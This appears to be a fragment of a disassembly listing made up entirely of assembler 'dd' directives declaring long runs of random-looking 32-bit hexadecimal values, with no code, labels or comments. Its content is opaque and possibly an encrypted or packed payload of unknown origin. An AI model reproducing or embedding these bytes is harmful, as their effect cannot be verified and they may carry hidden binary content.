		dd 61E34A73h, 7DCE4518h, 9CC107A0h, 86AF7A3Fh, 0B0224C29h
		dd 65FB5D43h, 5AA4E05Fh, 0BDB46673h, 4438B69h, 0B2BC6D6Dh
		dd 5D89B83Bh, 0C1D120EDh, 57067F8Bh, 20BA74B8h,	0B8C13B28h
		dd 0CD0C605h, 0F1EE6782h, 5A080188h, 54A46F46h,	0CB062DE9h
		dd 0C188BA90h, 0D7FA682Dh, 0E94E5B36h, 929E21E2h, 5F51C375h
		dd 55B4B7h, 0EF1DB2BDh,	57E0B579h, 65B6AA15h, 0DEC88683h
		dd 50D7D9BCh, 0EA12526Dh, 2B16EFF7h, 0B03AE8A1h, 59409040h
		dd 27D57A31h, 2EF8F587h, 0FC26372Fh, 0C549CFEEh, 60438541h
		dd 0B5C00B32h, 8A1E5CE7h, 0FF79045h, 1FF91B80h,	332ACF80h
		dd 94C10729h, 10F31C93h, 13DD3E30h, 0AAF0F7DCh,	0D1E15204h
		dd 1E20208Dh, 85E2997Dh, 3025EA68h, 5DE9549Ah, 7AB43B4Bh
		dd 0F2720106h, 0F7DA8750h, 5EBF3EDBh, 6A26E9h, 0CA92EFFh
		dd 5E5AF209h, 80EF24AEh, 525006F2h, 7E9521E5h, 0BF0CE796h
		dd 0A955F34Ah, 770DD205h, 9FA935C6h, 0C30B807Fh, 604C3022h
		dd 923B16BDh, 0A78B61EBh, 652E1109h, 0D2FAC79Dh, 2996C157h
		dd 8C6138CEh, 2F68EB85h, 1F6611F8h, 5B11D664h, 0D5F362C9h
		dd 7C8B87D0h, 5E263D9Ah, 0FAFEA297h, 307E228Bh,	0E31DA74Eh
		dd 0E2281189h, 0C90B9179h, 7D05C260h, 3252AFA0h, 0F6BE0A0Ch
		dd 0E5AC7E96h, 8FF212Ch, 53029639h, 0CC6FE168h,	28C420D5h
		dd 50B2B12Fh, 788749B1h, 14FEDA4Bh, 84FDE821h, 0CCFF59D7h
		dd 6C4B81B9h, 0E0D631BBh, 0C2239662h, 2F039806h, 41D18255h
		dd 1769B813h, 0EA324605h, 3913BF7Bh, 5636D0EFh,	18985E55h
		dd 97ED7A29h, 0A1467D4Bh, 1890EB05h, 7EC41E92h,	80BBEC4h
		dd 5D79AB5Eh, 0F6AF5867h, 49A03822h, 62FC6812h,	214E39FEh
		dd 52829253h, 0C4CAB7EFh, 0FE18D411h, 4C92B625h, 6E20CD7Dh
		dd 685E0947h, 0B85C5030h, 6C3E7762h, 51D9283Ch,	8F995BBh
		dd 1755566h, 327627E7h,	6E219DE9h, 19E8FACh, 0C11DBB3Fh
		dd 0D52D20E0h, 0E3E8214Bh, 6C8CE2C0h, 50951F9Ah, 6180C93h
		dd 0C31A53B3h
		dd 418B2E02h, 77685651h, 0E91245D8h, 60E455AFh,	9159171Ah
		dd 7E8F4276h, 7261A8FAh, 5DE24ACh, 481209DCh, 3C776F21h
		dd 9312BE27h, 0F129EA29h, 0E030ED71h, 0A45002A8h, 1B5C6874h
		dd 0AC9847D1h, 0BDFB311Bh, 732D1316h, 9FBA579Ch, 22F77CC1h
		dd 5EF313ECh, 57796B90h, 0E760F52Ch, 84FC8291h,	2DBE7712h
		dd 5CBA9817h, 0E10ED46Bh, 0B579F5C2h, 0E2088952h, 0E2DED3F2h
		dd 0DC741CE9h, 0D4F93009h, 0B25258D6h, 6957F89Dh, 0AFDD285Dh
		dd 3FD33E50h, 1EBCF40h,	64F7FB87h, 0ED5008D7h, 71C710A6h
		dd 0AB16C04Fh, 3388E260h, 121C090Ch, 0CA02EFC1h, 0DF093D59h
		dd 0D597DB6Ch, 0F0C4209Bh, 4A912DCCh, 0CB827E8Bh, 0E26EF87Bh
		dd 0D7290A22h, 908BD55h, 0CA5818E9h, 24F0BF06h,	9301B8Dh
		dd 5FFE3582h, 0B05766F5h, 4231091Ah, 3685F801h,	4E20FC9Ah
		dd 1872D981h, 0C20F9804h, 37692401h, 0F2D3E961h, 9764BE2Eh
		dd 62550592h, 25995C6Dh, 1F24BE2Fh, 0E2B90E70h,	7723546Dh
		dd 625A9FDEh, 13A3083Ah, 68BA2918h, 26D9BD0Fh, 400EB88Fh
		dd 7D0D6ACDh, 0A8C64A70h, 54DD008Eh, 91E915A1h,	0FC9297B6h
		dd 5B058081h, 2B9E9341h, 0C1291744h, 2C8499F9h,	5057074Ah
		dd 0A284567Eh, 107E8EABh, 5D257CC9h, 7E973994h,	965FEBA0h
		dd 0F22D3D9Ah, 0FC30CD96h, 4E074122h, 0B0E90B68h, 32B09B26h
		dd 5F1A6880h, 6288D0DCh, 78BD0F53h, 812AE800h, 2501DEE5h
		dd 0E94D585Ah, 349D2E83h, 11B45BBh, 7DD6E864h, 3C1AB930h
		dd 2672E405h, 9B7754A3h, 86A54E0Dh, 9C828B80h, 52589A03h
		dd 200741D0h, 5095AE0h,	2E254Ah, 4BE9D04Ch, 0B89FA831h
		dd 3D27E051h, 1B13C981h, 0E9FD0705h, 61E1A2BDh,	0B7A01C7Dh
		dd 19D2C58h, 2D28E93Ah,	79C4EC22h, 96C6A3B8h, 684942EBh
		dd 46795C6Eh, 0E85E5891h, 0AA68E009h, 28F9B19h,	775E3E1Bh
		dd 0A4EF1E0h, 0FD0BEE2Eh, 7D45091Fh, 0E8AC4F4Ch, 446D7F1Eh
		dd 0C05DEF31h, 4E6642EBh, 35407800h, 5CA9778Dh,	4BCC0F0Dh
		dd 0F442082Ah, 0DB40AA0Ah, 1944352h, 73AC0297h,	0D3F4F871h
		dd 2246BA95h, 0FCF90DCEh, 6E5BBD21h, 486BE409h,	2C43A912h
		dd 2464B47h, 396D31F9h,	485E361h, 0F61690AAh, 885C52D7h
		dd 0C92610D0h, 0ECEBC112h, 0A04205ACh, 5EEC653Dh, 60C8F010h
		dd 0A8029252h, 0FA3F9868h, 0A4525F1Bh, 720ECE2Ah, 0F74B7132h
		dd 0C1C6AF40h, 17C241C0h, 0FECD3BE9h, 0BD3BED39h, 29C3B4F9h
		dd 235AA196h, 837D1C2Eh, 1E514C13h, 39B40C04h, 8982BC43h
		dd 974EF72Bh, 8A015C32h, 186ADDEEh, 0B02B07Fh, 6145BF61h
		dd 59026726h, 0A9A1E956h, 0EF27EACh, 7E41D305h,	2EC12113h
		dd 0BCA59BE8h, 0DD058061h, 5C300345h, 0FC5BDF09h, 0E70D5069h
		dd 79BD4A17h, 0F562EB23h, 60B6DE47h, 0EDC2F505h, 2966011Dh
		dd 35ED2BD8h, 1EDF02CBh, 2D5CBF99h, 477A5C79h, 0CBCDE9BAh
		dd 1876E354h, 261481E9h, 93EE5E66h, 2FCC72E3h, 0BE0AE043h
		dd 0A4070CC8h, 3CE84E3Eh, 594F2978h, 69DFEB4h, 21EC26AAh
		dd 0E34938C6h, 1C862CC5h, 0BD4F60Ch, 0EA803E5Ah, 2D275F9h
		dd 0AB0423C2h, 29DCC42Ch, 3FE90B3Ah, 1224CD6Ch,	0A18D3156h
		dd 5D5D02F6h, 34D914FEh, 0E69C126Fh, 0F0D6CB00h, 80B53F46h
		dd 0E807C538h, 8F71B151h, 0C1C0EFE5h, 0C9C9FE74h, 1808B1C1h
		dd 4631283Eh, 0B004AD3Eh, 17D059B2h, 0AF5768E2h, 1860C936h
		dd 41CF88B8h, 0BBDBFE9h, 4FC07D7Fh, 5D957221h, 5E54F390h
		dd 9152CCBFh, 0D357C9B0h, 67E9852Dh, 209B8D73h,	11216F0h
		dd 63BA3469h, 6005421Ah, 167113Dh, 482BE7C0h, 0BA754A44h
		dd 0DD022B94h, 8EEA28CCh, 864CBFE7h, 0BB87A4Dh,	2F847475h
		dd 0F70F02F5h, 85E540DBh, 50210101h, 7CE9DD29h,	40392E34h
		dd 22B1092Eh, 5D2C5C5Ch, 1A90E016h, 2D350547h, 7D4D2Ch
		dd 0E940A5E0h, 0E5365449h, 0D9F71DCAh, 0D1373931h, 3594F208h
		dd 6DFE95ABh, 3A4CBB01h, 0CBF9573Bh, 92CD507Fh,	56C6305Ah
		dd 1F7A8ABEh, 17FA6C5Bh, 0B7D9B3h, 0B0295993h, 153D0A5Ch
		dd 3BDD8643h, 8965ADF8h, 2D1C5A9Eh, 74A60687h, 0EAC2D584h
		dd 604C2DA0h, 1409CBB1h, 9A318730h, 4A56AC5Bh, 6E82CFEFh
		dd 877341A0h, 9424D101h, 0D02F019Ch, 68D6F736h,	3AA87AFAh
		dd 733AC9C1h, 67A93B4Eh, 6BDB8407h, 0F65C99EBh,	0DDF2E9E2h
		dd 0E8F716AFh, 0C651CF49h, 0B09A70A5h, 0C492635h, 4C990B1Ah
		dd 50B2BC4Ah, 3D34C9C1h, 2E1810F9h, 0C132AA4Fh,	83C87DC2h
		dd 0BABC70E9h, 0D816EC26h, 5389DFFDh, 0EC49804h, 0E9FE6159h
		dd 6D3F4108h, 93E82A44h, 0D7DBE9A0h, 1E3566C0h,	6043D163h
		dd 6081B648h, 61B80561h, 1A760E0Bh, 0A50176F7h,	5707EA75h
		dd 6A682CF9h, 0AF105349h, 4C523DFCh, 0ACD097C3h, 6E4ED720h
		dd 2E224A5Bh, 8077527Ch, 0E65892ADh, 0FBD981Eh,	0F18DC265h
		dd 0E055C78Bh, 962EE9C5h, 0E1C10466h, 0C68DEF08h, 7996D0DBh
		dd 1B344878h, 0A2B49105h, 0E9C2D13Eh, 5FD478E7h, 891408FBh
		dd 0D9CC7F27h, 31A85F25h, 2FF45FBh, 1A6E2512h, 96E0281Ch
		dd 0D62D229Ch, 4CE7C18h, 0FE896857h, 0D0805037h, 0BD0D1B02h
		dd 0FBE232A2h, 168FBA55h, 0B52AACAFh, 0B585540h, 1C03229Dh
		dd 51DD0949h, 11F9C3BEh, 47C76413h, 8951A303h, 28AACC66h
		dd 59549D20h, 650E8A4h,	0A1435C5h, 3BE3304h, 16A336DFh
		dd 5D52BAE9h, 0FCEA0254h, 165C1510h, 98C0174Ah,	3740750Fh
		dd 9FBAEC5Ah, 9D612003h, 91C0B9EFh, 3C16F8BEh, 55B00C8Fh
		dd 0C8EE4F01h, 99536DDh, 489758B0h, 0B57EC8CFh,	0FC13B564h
		dd 390A8453h, 0C19DD99Dh, 30389CF1h, 0E55BC05h,	931B759h
		dd 0D8CC04E7h, 80DEF603h, 61C0C299h, 3069EB6h, 20DB0B7Bh
		dd 0C5DF00F5h, 90E828F7h, 0B5A22F8Ah, 57BBD9B1h, 0E502CBB5h
		dd 6605EDAAh, 334EE4AEh, 8EBF23C0h, 0F46BFE53h,	0AB674BF5h
		dd 0BCC0C6C8h, 0C3350113h, 0CD68D505h, 114DF04Fh, 3E0C104h
		dd 53C24595h, 19ABD79Bh, 308A0200h, 687B6C66h, 837F284Dh
		dd 0D0EA467Eh, 94AA8BE9h, 0DE66EF56h, 0BB000A47h, 53B91EDCh
		dd 2DE128B8h, 7370AC46h, 9D09E4BFh, 5B309B16h, 0C62D565Eh
		dd 11C9282Ah, 70551FEh,	40787A31h, 475FB4Eh, 0E0209D84h
		dd 0EF25FB7Eh, 0A6D55EECh, 0AC5B5FAEh, 78BBB2AFh, 0B7E8FF3Ah
		dd 68D83928h, 741F62B2h, 0F997DBF0h, 0EEEF5034h, 39504B06h
		dd 8324C729h, 0B27F5008h, 0DB0E417Bh, 7568FA07h, 0ED60572Bh
		dd 4F728EAEh, 6D42BBA9h, 0DA331513h, 4E47097Ah,	3A576A90h
		dd 110C0F0Fh, 0E3E91C40h, 79EEEC55h, 2CFF21C4h,	565A09D4h
		dd 44130053h, 0EC5B4C6Ah, 321F4E46h, 2B52DE0Eh,	0DB253C92h
		dd 9033167Fh, 314D1363h, 24DCA122h, 0E2768ACh, 0B6CE637h
		dd 6DE4699Ch, 0E6AF215Dh, 15E17F5Fh, 163ECED8h,	0FB5B6E74h
		dd 2B6AB741h, 0C810741h, 0A7D0A9ABh, 6410FF29h,	0D1163513h
		dd 0F220BAEBh, 2428E43h, 0E9DF8996h, 14DDDCFCh,	75D40F72h
		dd 0EF606F0Fh, 0BA525601h, 0F95E1800h, 6AE28145h, 9253B39h
		dd 59B0F202h, 0C3F56BE6h, 807CD69Ch, 3CE9B8F5h,	0ECCAB1A0h
		dd 97FDB593h, 0EFFCC5D2h, 40EA5F2Ch, 50158B5h, 0EB0ED8C8h
		dd 89E1C331h, 4E148170h, 176ADA62h, 0EFC8FC51h,	0D4751792h
		dd 3B6DA110h, 4A26EBA0h, 0D6DCF956h, 355DE20Eh,	0AF958Dh
		dd 67EB7F36h, 9715D5E9h, 0A35D16A9h, 0E26387BFh, 4658062Dh
		dd 5FC32879h, 0C28D3CC1h
		dd 2646F0D4h, 0BE0D5826h, 115D4D09h, 2A27E0DDh,	90469F59h
		dd 0D764149Fh, 2FD28D6Ch, 680AE3FCh, 889C31C6h,	81006332h
		dd 0FD1137CBh, 0A8E4C149h, 6E71654Ch, 0E9420CC0h, 4D0D67C1h
		dd 948097D9h, 7E05BCCAh, 96F1394Fh, 2D022C7Ah, 9376503Dh
		dd 6D958909h, 554160Bh,	85A12542h, 4AE8F67Eh, 0B52A00AAh
		dd 28F3B438h, 0E868EC6Eh, 0FF55158Eh, 0C84B5CC5h, 0F7103EDh
		dd 0EFC15E12h, 2AF76603h, 5D75EA3Fh, 56A83852h,	1A2617C6h
		dd 20106523h, 3FC05724h, 6DD64504h, 7E04FB89h, 1160383h
		dd 98307960h, 224C7972h, 0FF17C9FBh, 2F43C88h, 417C1987h
		dd 53408F59h, 257836BBh, 0CC54317Bh, 909CE920h,	595C38Fh
		dd 39BA3DDAh, 8AEC6E7Dh, 578A40E5h, 26DAE953h, 9CD9F1B5h
		dd 0A8364BCBh, 94694005h, 0B2BCEBCCh, 350DA3E1h, 52F66E6Ah
		dd 0F8A9E983h, 0C87D2670h, 222C4812h, 6416F2FAh, 0EE56B886h
		dd 0B3A390D7h, 2C14008Fh, 0C0550430h, 0E0A103E8h, 93DD6E65h
		dd 0BA2067ECh, 0C2830222h, 26B66802h, 28BFC557h, 833B2224h
		dd 3A09F502h, 0D7556C37h, 0ED003744h, 0BB857DAh, 977815E9h
		dd 0B75838FCh, 68660E94h, 0EF981657h, 8000FFB1h, 0B25242EFh
		dd 5EF1E904h, 423B89A4h, 9DE82762h, 0EB263F64h,	0CE81BC2Ch
		dd 2077321Ch, 1A0A1F60h, 0AC8B58F0h, 77888B57h,	79239439h
		dd 20C04C12h, 0F32AE946h, 20683ED9h, 52E91C14h,	337D253Dh
		dd 6459E18Eh, 0BC629B57h, 4C06840Ch, 0F74EF0B8h, 26718462h
		dd 78B288Dh, 92720F68h,	994B8637h, 0AEE0B76Fh, 48504C53h
		dd 1392D25Ch, 2FABEDE1h, 24E5AB64h, 0D4EABD5Fh,	8B9DEA7Fh
		dd 0E997A43Ah, 0FE5B0E27h, 0C2817283h, 0C6382FE4h, 7E01B18Fh
		dd 60463982h, 6C124182h, 1CF073DCh, 609E9AD7h, 1E24365Dh
		dd 314E6CF2h, 118AEAA8h, 6C74A7A2h, 0E50DC432h,	5FD888CFh
		dd 58B6BE01h, 0EC300DFBh, 3CBF9B9Fh, 1EE227AFh,	8DF6F5Fh
		dd 310B4941h, 846C8208h, 0DC08A951h, 4F3350C3h,	221E029Fh
		dd 89B6009Bh, 8000CEFEh, 0F4280AC6h, 1BE5885Ah,	223DB9E9h
		dd 3A0BC0A9h, 719FC4B6h, 23CE7FFh, 46F2FD5Ah, 0A0C850B7h
		dd 274E5298h, 0C2D71141h, 5A080441h, 0E95C45EFh, 103ECFDh
		dd 8003E5C0h, 53ECD9C5h, 0BAAABF26h, 0DD3F16E3h, 0E2E62084h
		dd 79993669h, 490B1319h, 65725BD0h, 97433D20h, 0DD248771h
		dd 7E748000h, 5F07E965h, 9423FA7Fh, 0FB4A43h, 3B9005A1h
		dd 709574A7h, 0ECBA09EEh, 0E85415C4h, 75BF6809h, 4893E3F9h
		dd 0A0D540B4h, 0E1455B8Bh, 0E13EE93Fh, 0F77490E9h, 85E1A55Ch
		dd 0AD562A68h, 60B12C6Bh, 0C60B91A4h, 893AD525h, 0E62D79E4h
		dd 0C26ED662h, 0CCDCE2F5h, 8936818Eh, 11A1F52Eh, 0DAAEC879h
		dd 26E157E8h, 5BC0EF89h, 1B27620Ah, 7D09145Ah, 0DCBB8860h
		dd 34C51532h, 730B0940h, 8339AA50h, 0B15194FEh,	443F27F6h
		dd 1D70754h, 54F73843h,	91F6AF47h, 50FC4EDDh, 148ABA16h
		dd 0C236ED5Ah, 5C70BFE9h, 8934891h, 87405023h, 0F67AB320h
		dd 0F4CAB201h, 0AF6A5435h, 81DB415Eh, 758ACAF6h, 426B01B6h
		dd 3C7AE963h, 68817FD9h, 623E0EECh, 9F5F7C60h, 9691553h
		dd 7689E264h, 61A9F34Bh, 8028873Ah, 0CA32B1E2h,	0E1A78757h
		dd 5E1E13E3h, 7E05B126h, 369CBC84h, 6197915Ah, 6001C583h
		dd 3B045F6Dh, 0EDD171F4h, 10B7E83h, 3C65C1F1h, 7E313D79h
		dd 0E9D58F02h, 271F5C92h, 30F894FDh, 0C53D5144h, 490901B3h
		dd 0DDF776h, 0D571D0FDh, 0EF534E27h, 56EEDD52h,	0A553BE97h
		dd 4172D503h, 0C3E1ADE2h, 1023BE60h, 2515996Ah,	2989D508h
		dd 0E961BDDEh, 0AAD69AAh, 34052DF0h, 29A68B57h,	0FD61D0FAh
		dd 0A80CD13Ch, 2A5A2BE9h, 8140FBDh, 2A5D136Fh, 0A8014B90h
		dd 36E9B1AAh, 0B869136Bh, 5A907DBh, 0CF600AB6h,	7D180FE3h
		dd 0E7C11854h, 8014CE03h, 78090E25h, 0C459B6A7h, 4A0CEC9Fh
		dd 659464E3h, 637368C3h, 1AC67F10h, 2E37BC5Ah, 581B6B7h
		dd 45AA600Eh, 1FD6842Bh, 367B0007h, 0E95609EBh,	4513DD5Ah
		dd 0E928A1ABh, 0D6F23B83h, 25BA52C4h, 0B21716AFh, 38B81037h
		dd 79E3B05Fh, 68174878h, 0D1A8471Fh, 137426C4h,	0A74A70ECh
		dd 0E7B51232h, 0CB38580Bh, 1CE9A9B1h, 2F5FEA34h, 1675F031h
		dd 0DCC6040Eh, 0C114293Fh, 0DA9A68EAh, 5C808CA2h, 0E3DD0802h
		dd 0F1F49D80h, 0F58958F4h, 2B629ADFh, 0F0C1DEC6h, 2ED72FF3h
		dd 53AE003Eh, 7439DBBBh, 3BDDE5F1h, 0EEF5FDD8h,	0B8B627A1h
		dd 0E951CC80h, 73D34232h, 10E78901h, 72F13B6Ah,	8817AB38h
		dd 7A362DE2h, 0C066CC62h, 808A29C3h, 7634868h, 26C64FDFh
		dd 0EAB4314h, 0EB4CE3D1h, 8D13DFB8h, 5EB29E0h, 81DD893Fh
		dd 0E469C5AEh, 0AEC1767Eh, 1E562758h, 0AC731883h, 0BB4E3D33h
		dd 271041A3h, 0EB4062CBh, 0B04DF51h, 0BA24C489h, 0C101ACC1h
		dd 8283643Bh, 6605A411h, 0FB68B4FBh, 125C3A49h,	0E2E87519h
		dd 44C5FBB4h, 8D7462ABh, 2009B274h, 0BA17CFEh, 42879EE6h
		dd 5AF1008Fh, 7D48E950h, 0C51C152h, 96200B09h, 0F6F319B3h
		dd 0F22218F4h, 9B08D9DEh, 0FE870B74h, 0FC4DC605h, 928AC488h
		dd 4BCBE813h, 0B95D62A4h, 265908DEh, 71355800h,	0B5365F1Ch
		dd 1DFC0650h, 0D0B4B75Bh, 0D8E44E05h, 185AF268h, 0B50EAE6h
		dd 4A591695h, 507CB847h, 8B9572E0h, 4BF3FB9Fh, 36EFE9D7h
		dd 88130828h, 697CBCCCh, 0B4CB712Ch, 578A800Dh,	0D39406E9h
		dd 11657525h, 0AF005E13h, 4BE457BBh, 0E9E00ED1h, 91C0F37h
		dd 0B6D71C33h, 419F8ACFh, 8C6A3B4Ah, 5D405C21h,	0A7389659h
		dd 2B0125A0h, 60BD4F1Fh, 802C8B1Bh, 0F3BF6149h,	0F2E962D0h
		dd 0FF9892FDh, 0EE27A7F9h, 366712F7h, 2F18AB61h, 984A0606h
		dd 9B61350h, 88C8BA03h,	0C765BD5Ah, 0E1B25449h,	75064AE9h
		dd 9DE07BF9h, 0A820F9E5h, 9AF9037h, 626E4CC4h, 3783D03h
		dd 0D5E91DC9h, 3FE83B9Ah, 0D02515D4h, 642DD0E0h, 3517141Dh
		dd 36604E43h, 2B15F93Fh, 6EF4C86Eh, 7C484F13h, 7C6820Ah
		dd 3814D82Dh, 3C3E73BFh, 6577F683h, 180129D9h, 3F762634h
		dd 0D721EE83h, 97754E6h, 7510AE17h, 0D1B8F1C6h,	76EECAC3h
		dd 5D22EA45h, 2A2943F0h, 0DC02CBD2h, 0E12D3672h, 0C551C23Eh
		dd 0B62B5EF5h, 89D625C1h, 3F79D571h, 18AF046Bh,	0DA6971Eh
		dd 202E1DBFh, 5E974C27h, 0DF746B1Dh, 7E6F591Ch,	2B4D05AEh
		dd 0E8A7805Bh, 0ED0E2D02h, 0A0796012h, 39B97E6Dh, 7B7D7335h
		dd 16CC90BDh, 0B84481E9h, 7622F011h, 0E966170Bh, 0AF105360h
		dd 0D72476C7h, 0EFC7D0BFh, 4925260Eh, 0C726F780h, 0D377FD77h
		dd 476A5127h, 8D6805DBh, 5AC9B202h, 0BB92DEB7h,	528B4DB6h
		dd 4BF74000h, 0BA353E94h, 0F4F80BFBh, 2A67750Bh, 8A014FCh
		dd 589FF6B0h, 7F4F97BEh, 0B7433FACh, 0F0D93B0Fh, 302A5F98h
		dd 8E26EC80h, 711632FEh, 0CBFB8685h, 0E90F637Bh, 0D7E4F4BCh
		dd 44256FF4h, 3DAE68E2h, 61BD9AD5h, 0B92A846Dh,	1B080E7Ah
		dd 0F9894507h, 289520AEh, 593D66C8h, 2DFF705Ah,	6D630B46h
		dd 78A777CFh, 30FAF081h, 7BF3795Fh, 8042BE1h, 0F2EA49C4h
		dd 0AF2578C5h, 6A6657A7h, 7DBDD5A0h, 81615D07h,	941366CAh
		dd 880C0465h, 0AF1C8505h, 2E04BABDh, 0BF75B589h, 572D0C09h
		dd 9C2E8F62h, 5A5D7D89h, 685316F8h, 32DB21CCh, 69D83927h
		dd 582324FEh, 20216E81h, 48100BC1h, 9A059405h, 0C6317A39h
		dd 575B23C2h, 86803D14h
		dd 0FE1A09F2h, 0ECC13Bh, 0E708F786h, 5B8BF02Ch,	9653417Fh
		dd 2A1C733Ch, 0E0AFD4C4h, 7D045E4Fh, 0E989DCB5h, 0D8D96EC2h
		dd 87661384h, 0A110AFF9h, 0C9810606h, 1F0A2ABBh, 4B6E03C1h
		dd 0E942CA29h, 31C0882Fh, 0C0B70FC3h, 3203BB0h,	623E90E4h
		dd 6F591205h, 0A43BD00h, 9B1A4C86h, 96821203h, 0E8A5E991h
		dd 4A5D0FDDh, 688C0956h, 126EEFE6h, 1558D36h, 0EE45208Fh
		dd 11942E74h, 91C081Ah,	0A760214h, 25AEE50Eh, 2DDF9CDDh
		dd 82DC5A94h, 0EAECF97Bh, 32654E2Bh, 92D7E276h,	2CC705F8h
		dd 0FED8074Ch, 0A608979Dh, 3AB40367h, 98B8F480h, 4AE9CFC4h
		dd 885207F0h, 0ADA472C6h, 4E29CA2h, 5B11E080h, 0D9B7277Fh
		dd 0BD800F0h, 54E946E7h, 2D2EBE65h, 0A26C94BFh,	0A51AD655h
		dd 0BEAC0326h, 684B993Bh, 5CF31A60h, 0B85AB1CEh, 5F521254h
		dd 0C4BE6D17h, 1AF1B8B7h, 0CC3E143Dh, 54502508h, 4AD60138h
		dd 80B470CFh, 0E4C0DCF6h, 0EA0AD805h, 0E24E2087h, 96799C2h
		dd 2A1D403h, 8F050C3Eh,	447B1F18h, 6DEEA993h, 0A3EC6BAAh
		dd 0FFE860C3h, 0D8280B8Ch, 4E9120CEh, 7D5B5425h, 7D98E06Ch
		dd 77DAC35Eh, 22A2A85Eh, 65EA210Ah, 78A0E989h, 55FBFAA8h
		dd 0CC600D1Eh, 9189C3Bh, 2E5D2Ch, 617C929Dh, 0E6B55140h
		dd 2A40C4C1h, 0F3EAD225h, 0C223C4BEh, 68821ABCh, 0B2F50397h
		dd 3573FDF2h, 0F6A1D793h, 0C68AF96Ah, 4B188A18h, 0FE67FF59h
		dd 5758B0E2h, 93F0E364h, 1B8C434Fh, 28641D7h, 16699EE1h
		dd 0F2E23E59h, 0F10A3974h, 83055A7Fh, 72EF8FD0h, 684A1AD8h
		dd 1F7477h, 7888C504h, 0E91AEE01h, 774D152Ch, 0A0CBF754h
		dd 1368511Fh, 7B469571h, 6B4F7EF2h, 9B5EDACh, 0F5F8FB00h
		dd 8CB8DF97h, 0F1951F9Ch, 0F84F44ACh, 0F2D14C89h, 0E9DF9834h
		dd 0D12D53BAh, 16D7592Eh, 4D83F4A2h, 7E940C16h,	0FD30FB87h
		dd 0BEAFD5E9h, 4E6C8118h, 0F221235Fh, 769F29D8h, 0F2C0705Dh
		dd 0BC74FEBDh, 0EA101C17h, 0A9AD1428h, 0EE3131AFh, 2E72EC24h
		dd 11CE2C29h, 0D6FD4F01h, 341BAB48h, 0E2B35954h, 89F0C85Eh
		dd 587C3AF3h, 4CDF099Fh, 0EA6FAC52h, 0C63BFD03h, 0EAD031E4h
		dd 0E0C87547h, 8EC142D2h, 2D5648F1h, 321460DFh,	41AC35D0h
		dd 9D487AB5h, 0DC95DAB4h, 406E964Eh, 59E868A0h,	9C9371E4h
		dd 13EAE427h, 0E856623Ah, 5A2801F2h, 5351DFD1h,	34DCDB50h
		dd 0E7A5DD2h, 0B1FF0741h, 0AB2B9F18h, 0FDA5ED37h, 0E197CDBFh
		dd 2D8C3CEFh, 950FD705h, 0A9600E4Bh, 885064B7h,	1489BE8h
		dd 0CDD29285h, 173775Ah, 0B5C4E964h, 0A0F1A944h, 892BC1FFh
		dd 3063F4CDh, 0C3EA31CFh, 56EEE0Ch, 0CA5EB40Ch,	9094AE5Ah
		dd 0BD550805h, 60E81410h, 7879BED9h, 0B817008Ch, 637A6A8h
		dd 6339FD05h, 28525CCBh, 6AAC072Dh, 6F961BB0h, 25D7D62Dh
		dd 0D5F289DDh, 5C80AD4Fh, 0F6E28659h, 8A0C90D4h, 8A705FE0h
		dd 35AAF6B5h, 0B6B0AF0Ch, 0AFE5955Bh, 0F2074BAFh, 47020BB8h
		dd 9357311Ch, 9EC4F382h, 98E30B87h, 0AA584A77h,	0FD89FC02h
		dd 0ABCDE9B3h, 7430D5B0h, 4CB4E05h, 0F083097Ah,	0A7BA1F4Dh
		dd 9E72439h, 7B91913Ah,	7141CAF2h, 500E7EE7h, 91FCF80h
		dd 0DB7F4286h, 0A65D979Dh, 685500BFh, 4F407CF4h, 40394BE9h
		dd 1306EB41h, 0EFB04741h, 48A63FFFh, 0CAAAE9C2h, 5582535Ch
		dd 0C12AFC5Eh, 0E93F47AEh, 20FA97F6h, 0A8E9529Dh, 978650BDh
		dd 0B5DEB457h, 0F38B0C45h, 4D0F82FFh, 1F516045h, 0C9B23E2Eh
		dd 535CF29Bh, 5AD4BBADh, 0ADC23280h, 15572851h,	3E327A1h
		dd 0CAC27032h, 9C35655h, 32A024E9h, 4D1D9ABAh, 16095A48h
		dd 4B807D57h, 0BA047F2h, 0D301E3CEh, 0FC12B184h, 895D0A75h
		dd 0A9E85AC5h, 4E0AFC27h, 6630D3D4h, 18D9EFABh,	0D531BD27h
		dd 8018B62h, 5796CFE9h,	0A8C264F6h, 88B11C09h, 0E368E25h
		dd 14518CD0h, 0F9BB27E9h, 89C50A54h, 0BEE1FD0h,	79AE2D5Bh
		dd 81288FDh, 0FEA4CB3Dh, 4004413Ch, 7DDE7CD6h, 0EB29A418h
		dd 0B75BDAD4h, 0B725140h, 0E90F3505h, 0CD905314h, 0B8308BB0h
		dd 0CE2F28BCh, 0DA9096Bh, 54071156h, 0F2E1E2FAh, 9ABD1657h
		dd 7E522097h, 7153E919h, 0AC6FBAF5h, 60AE4F0Fh,	3ED9E988h
		dd 0CD16DD95h, 0E6387890h, 2DEB5E11h, 97EC3A37h, 8B8BAFDFh
		dd 826E4FD9h, 0AEF028BDh, 6B1EDFB1h, 9017C816h,	12B981B0h
		dd 0A57D557Eh, 4175F435h, 0AD160E3Ah, 4D9F206h,	0C139F3C9h
		dd 4DA5C06Bh, 31E1200Eh, 0C42D7A92h, 0EDAE2944h, 29FFB403h
		dd 0B07A52Eh, 0E7270204h, 0F03003EFh, 3B36A3B9h, 0C3800D20h
		dd 0A54BB5F7h, 694A10AEh, 0FAAE8DEAh, 421F08D9h, 251C41E2h
		dd 0B13A28B7h, 0AAD1015h, 2F5448F6h, 38DD96E9h,	5A346849h
		dd 0FAD43146h, 3F307E03h, 2BA32C3h, 4555355Ch, 0CCD509AEh
		dd 69D2712h, 0BE986D9h,	0DD61890Fh, 0E9E12F59h,	24844E99h
		dd 0BBCF885Ah, 474054C9h, 4CC747B6h, 2F04010Ah,	0C3761238h
		dd 4ED16758h, 83E17B6Ah, 5878C530h, 2A2EB6B5h, 955A776h
		dd 0A5487D02h, 8DC9FB5Ch, 77E2D7EDh, 3EB3CDC3h,	7BD0C35Ah
		dd 5B4468C8h, 5FFF3149h, 5F98A7FCh, 0E91F6667h,	0B22423B5h
		dd 0C2EF00BEh, 4CC96850h, 7A661196h, 0DAD09543h, 333C0802h
		dd 5CDEF754h, 99460952h, 2045E657h, 6816558Fh, 558C45B6h
		dd 0B3134A93h, 5558C02Bh, 0A8D13EE9h, 55DEE8Ah,	611ED405h
		dd 0BF89432h, 22C65E07h, 6377FE95h, 0DC4EFBE0h,	533F29A2h
		dd 6E77518Bh, 4DA686D5h, 1BD9BD0Dh, 0A6BFE9E1h,	3ED86A8h
		dd 0C1C980B7h, 85EC5066h, 3B4BAF32h, 98497AEAh,	0F5E76273h
